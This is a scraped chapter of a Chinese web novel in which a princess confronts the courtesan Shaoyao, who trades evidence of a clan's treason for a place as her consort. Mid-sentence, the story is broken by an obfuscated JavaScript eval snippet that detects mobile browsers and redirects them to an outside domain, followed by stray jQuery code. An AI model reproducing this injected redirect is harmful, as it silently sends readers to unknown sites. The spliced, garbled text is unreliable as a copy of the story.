默认冷灰
24号文字
方正启体

29. 芍药告白

作者:难日焚月本书字数:K更新时间:
    “殿下,马车套好了,可是要饭后即刻就走?”


    孟元此时早早来到正堂用餐,刘释异在一旁提醒道。


    她眼下依旧泛着肿胀的微红,看来是回房后又哭了才有的这样状态。


    “即刻便去,刘管事待会跟我一起吧。”


    刘释异意料之外地愣了愣,随后又扬起温和嘴角点头行礼。


    “是。”


    莫约一炷香后孟元撤了碗筷,在正堂内又开始做伸展运动舒缓肌肉。


    刘释异备好了马车来唤自己,她才移步到正门前往百花楼。


    硒阳城混着过夜潮气与和煦的日头相撞,在街道上形成一层薄薄的薄烟,挑妇们赤着臂膀,扁担两头晃动的竹筐里盛满了新摘的蔬果,米酒的醇香从街边灌进车帘内。


    “殿下,您怎么如此冒险行事,要是那江涅胆子再大些您伤及性命了又如何?”


    刘释异的惊叹与外头街边的吆喝声和车轮轱辘滚动下显得格外激动。


    她听孟元坦白了这几日太子府遭刺缘由,但知晓后更是迟迟放不下心来。


    “管事勿怪,这些事还是越少人知道越好。”


    在刘释异几乎又要下跪时,孟元抬手试图让她稳定心神。


    虽然刘管事不在朝堂,但她在城中依然拥有不小的权力范围,牵一发动全身的道理谁都明白,但自己却保不齐太子府第一层消息出去之后会扭曲成什么摸样。


    “是微臣冒进了,不过还是请殿下多多爱护贵体才是。”


    孟元点了点头应付道:“我知道了,之后会注意的。”


    刘释异深蹙的眉终于因她这句而渐渐淡去。


    “殿下,百花楼到了。”


    马妇的声音从帘外传来,孟元这才整理了衣襟与袖中短刃的位置才下车。


    她抬眼望向面前这幢精致建筑,朱漆雕栏,飞檐翘角,三层楼台檐下各各都悬着绣着花朵样式的绛纱灯笼,微风拂过纱幔就跟流霞似地飘忽浮动。


    百花楼本该开门迎客的时候,但此刻它却大闭楼门。


    孟元深深嗅嗅了几息,但空气中没有闻到丝毫血液的气味。


    “不如臣也进去吧?”


    百花楼内情况不明,刘释异探出头来也想跟着她。


    芍药如此留言应该是想要她孤身前来,不明情况下还是保守为准。


    “在此地等我就好,若有差错我便将茶盏丢出窗外。”


    孟元安排完暗号便直接转身走进百花楼旁一处隐蔽小巷中。


    昨日下雨导致巷内潮湿阴冷。


    她小心踱步,视线在骤暗的巷子内摸索起来,只有墙角堆着几个破旧的木桶竹筐,还有几捆发霉的草席,倒是头顶两人高的地方恰好有一扇可以翻进楼中的窗户。


    孟元在杂物里翻找片刻,最终只寻到几个勉强稳固的木桶,她轻手轻脚地将它们叠在一起随后试探性地踩上去。


    木桶发出细微的“吱呀”,似乎随时会散架。


    她深吸一口气,踮起脚尖一鼓作气攀上去,指尖刚刚够到窗沿时脚下却毫无征兆摇晃了一下,她连忙稳住身形,另一只手用力一抓。


    那窗户竟未上栓,硬生生被自己扣出一道缝隙。


    一丝甜腻的脂粉香气随着窗户打开飘了出来,孟元屏住呼吸,借着窗内透出的微光看见里面是一间无人的偏房,案几上散落着几件绣花衣裳和一把琴。


    她这时不再犹豫,双臂用力一撑立马轻盈地翻进房内。


    孟元用手掌撑起身子,她环视四周没有人才慢慢直起脊背。


    房里,不对,是整个百花楼都很安静,这跟她从前光顾时完全的气氛。


    她轻手轻脚地挪到门边,将耳朵贴在门板上。


    外头走廊静得能听见自己心脏的跳动声,空气中飘着残留的脂粉香,却混着一丝若有似无的铁锈味。


    袖中冰凉的刀柄让她稍微定了定神,既然来了就没有回头路。


    孟元推开房门,除了外廊,百花楼一楼的中央大厅和对面二楼都空无一人。


    都被杀了?还是被抓起来绑在一个地方?


    但她暂时考虑不了这些。


    “殿下既然来了,为何不先来找我还要去别的哥哥屋里。”


    一道慵懒的男声在她左侧十几步处传来,悠悠念道的每个字都像裹着蜜的银针。


    是芍药,他在自己房间中。


    即使是熟悉的音色,但冷不丁的突然在这种环境来上一句欢迎语着实惊得孟元后颈寒毛倒竖。


    她用指甲压了压自己掌心清醒大脑,一步一看地迈向自己熟得不能再熟的雅间。


    一路上没有任何动静让孟元起了疑心,她在门前站定迟迟不开门入内。


    “怎么?”


    芍药的声音隔着门扉传来,这次带着几分戏谑。


    “殿下如今连我的房门都不敢进了?”


    那语调轻飘飘的,却让孟元准备推门的手顿住。


    “砰!”


    她突然抬腿猛踹门扇,木门撞在墙上发出巨响。


    孟元大踏步买过门槛走进去,但房中不是她意料之中的埋伏阵仗。


    面前,芍药斜倚在软榻上,他微施粉黛青丝未梳,一袭月白纱袍披着外面,里边则是一件自己曾经夸赞过的绣着莲叶的浅青锦袍。


    他的目光未在自己身上,而是把玩着手中的芍药玉簪。


    发现房中确实只有她们两人,她随即踢开身旁圆椅顺势坐在桌子上,双手抱在身前直直盯着他。


    孟元并不着急开口。


    “殿下难道不问我楼里其他人哪去了?”


    果然,芍药先开口了。


    “是你做的吗?”


    她冷声问道,他却忽地笑起来。


    “殿下不需要这样防备我。”


    芍药用玉簪给自己挽了个松散的发髻同时扶正身子与孟元对望。


    “我无意让殿下为难,百花楼的众位哥哥都在各自房间里安安稳稳睡着。”


    孟元闻言却是更将双手收紧了些。


    这与自己平常温和有礼的芍药差别太大。


    在她记忆中,芍药永远是那个在案前低眉顺眼为她斟酒的花魁,不仅花钱大方还是个懂得拿捏分寸的聪明人。


    “你做这些,是想要什么吗?”


    她率先发问,芍药那双总是含情的桃花眼此刻竟显出几分凄凉。


    “想要什么,难道殿下不清楚我的心意吗?”


    孟元了然,他是在指昨日奉上簪子行为。


    芍药的情绪来得快去得也快,转眼间又软了嗓音,轻得几乎听不见。


    “殿下被陛下叫进宫那天,我本想向你告白此事,还亲自准备了给自己赎身的喜礼。”


    他语调突然掺着狠硬的力道。


    “没想到,比你先来的竟然是你要娶夫的消息,殿下,这叫我怎么能不恨那个周国储君。”


    芍药声音渐长,他一


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15769821|171842||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    手握拳压在身前一手撑着自己不至于太狼狈。


    泪水从他眼中夺眶而出在脸上形成珠串,由于情绪激动,他整张脸都染上了白里透红的漂亮颜色。


    “若是那天我再求求您留下,是不是一切都会不同?”


    孟元面无表情看着芍药如此哭泣,她依旧是交叉手的姿势没有改变。


    “所以你是怎么把百花楼几十人都弄迷晕的?”


    芍药闻言收了哭声但还是抽泣着,他断断续续才组成一句话。


    “是茱萸,他给了我周国的秘药,他有个常客就是昨日袭击殿下的江涅之孙。”


    孟元不可察地挑了一下眉头。


    怎么还有茱萸的事?重大收获啊。


    他慢慢收了气焰稳定声线道。


    “茱萸曾经找我学习制香,他是个命苦的好孩子,跟我透露了他的出身和江烨祖孙两人的动作。”


    孟元在他之前道尽还没说出口的话。


    “所以,茱萸给你留了证据。”


    芍药拿起手帕给自己擦泪,他愣愣点点头。


    “殿下聪慧,确实如此。”


    孟元开始用手指敲着自己手臂,芍药似望不望的目光被她看在眼里。


    “你想要什么?”


    芍药收了脸色,一字一顿说道。


    “茱萸手上的证据足以证明江氏一族勾结外敌,其中还有她们背后之人藏身地点与交接地点。”


    她听出了他言外之意。


    我的筹码足够大,而且你拒绝不了。


    孟元有些不耐烦,她在这的时间太久,从太子府来到百花楼一路上并未遮掩,要是被有心之人看见再派来刺客就非常不妙了。


    “说吧,你想要什么。”


    孟元第三次问出这个问题,但这次她的语气已经完全不同。


    芍药站起身来,月白纱袍如流水般从榻上滑落,他赤着足踩过织金地毯。


    孟元看着他缓缓走向自己直到在身前站定,随后便歪过脑袋抽出插在脑后的玉簪。


    “失礼了,殿下。”


    他谦卑地低着头,他将簪子放入她手中却不肯松开,而是用双手包裹住她的拳头。


    “我想做殿下的侧侍,仅仅这一个请求。”


    孟元面上不露分毫。


    什么?这么简单?她还以为是想要什么爵位之类的。


    “可以。”


    “殿下若是不愿...什么?!”


    她答得太快,几乎像是敷衍。


    话音刚落就感到自己手上的十指骤然收紧。


    芍药猛地抬头,眼中迸发出的疑惑与欣喜让窗外暖阳都黯然失色。


    他整个人凝固在原地,像是被雷劈中一般僵直。


    方才还游刃有余的人此刻却连呼吸都停滞起来,瞪大的眼睛里迅速又积聚起水雾。


    “真的吗..殿下?”


    孟元并不当一回事,把芍药娶回去当个侧侍而已,而且自己对他也并非没有好感。


    “骗你做什么?不过周国储君刚进门我至少要给他留点面子。”


    芍药神情激动,他冲动依靠在孟元胸口,眼泪再一次卸了出来。


    “殿下...太好了。”


    他埋首在她颈间,泪水沾湿了她的衣襟,孟元感受到他剧烈的心跳,一下又一下渐渐与自己的重合。


    孟元迟疑片刻,终究还是抬手抚上他单薄的后背,触手皆是少男紧绷劲瘦的肩胛骨。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)